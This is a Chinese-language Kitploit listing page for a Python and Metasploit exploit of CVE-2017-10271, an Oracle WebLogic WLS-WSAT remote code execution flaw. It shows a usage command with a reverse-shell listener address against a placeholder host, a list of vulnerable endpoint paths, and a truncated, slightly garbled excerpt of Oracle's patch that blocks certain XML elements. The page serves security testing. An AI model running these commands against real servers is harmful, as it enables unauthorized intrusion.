Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2017-10271 — Oracle WebLogic WLS-WSAT 远程代码执行漏洞利用 (CVE-2017-10271) | Kitploit
工具/GitHubGitHub/kkirsche/cve-2017-10271
漏洞利用框架Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试
GitHubkkirsche/cve-2017-10271

CVE-2017-10271

Oracle WebLogic WLS-WSAT 远程代码执行漏洞利用 (CVE-2017-10271)

查看仓库
129423年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2017-10271

WebLogic wls-wsat 组件反序列化漏洞 (CVE-2017-10271) 检测与利用脚本

用法

root@kitploit:~
$ python CVE-2017-10271.py -l 10.10.10.10 -p 4444 -r http://will.bepwned.com:7001/

特性

  • 独立 Python 脚本
    • 检测功能:查看任意主机是否存在漏洞
    • 利用功能:针对 Linux 目标
  • Metasploit 模块
    • 检测功能:查看任意主机是否存在漏洞
    • 利用功能:针对所有目标
  • 扫描器 (./scanners)
    • 检查主机是否存在漏洞。完全自包含

法律声明

您对使用此脚本的行为负责。Kevin Kirsche 对使用此处代码所引发的任何行为不承担任何责任。该代码旨在帮助团队验证其服务器的安全性,而非用于恶意用途。

致谢

衷心感谢 Luffin 创建了原始 POC,本脚本基于此开发。https://github.com/Luffin/CVE-2017-10271

除所示 URL 外的其他易受攻击 URL:

root@kitploit:~
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

相关漏洞

CVE-2017-3506

Oracle 补丁

原始来源: https://blog.nsfocusglobal.com/threats/vulnerability-analysis/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/

更新来源: https://nsfocusglobal.com/technical-analysis-and-solution-of-weblogic-server-wls-component-vulnerability/

root@kitploit:~
private void validate(InputStream is) {
 WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
 
 try {
  SAXParser parser = factory.newSAXParser();
  
  parser.parse(is, new DefaultHandler()) {
   private int overallarraylength = 0;
   
   public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXEception {
    if (qName.equalsIgnoreCase("object")) {
     throw new IllegalStateException("Invalid element qName:object");
    } else if (qName.equalsIgnoreCase("new")) {
     throw new IllegalStateException("Invalid element qName:new");
    } else if (qName.equalsIgnoreCase("method")) {
     throw new IllegalStateException("Invalid element qName:method");
    } else {
     if (qName.equalsIgnoreCase("void")) {
      for(int attClass = 0;attClass < attributes.getLength(); ++attClass) {
       if (!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
        throw new IllegalStateException("Invalid attribute for element void: " + attributes.getQName(attClass));
       }
      }
     }
     
     ... more code here ...
    }
   }
  }
 }
}
下载工具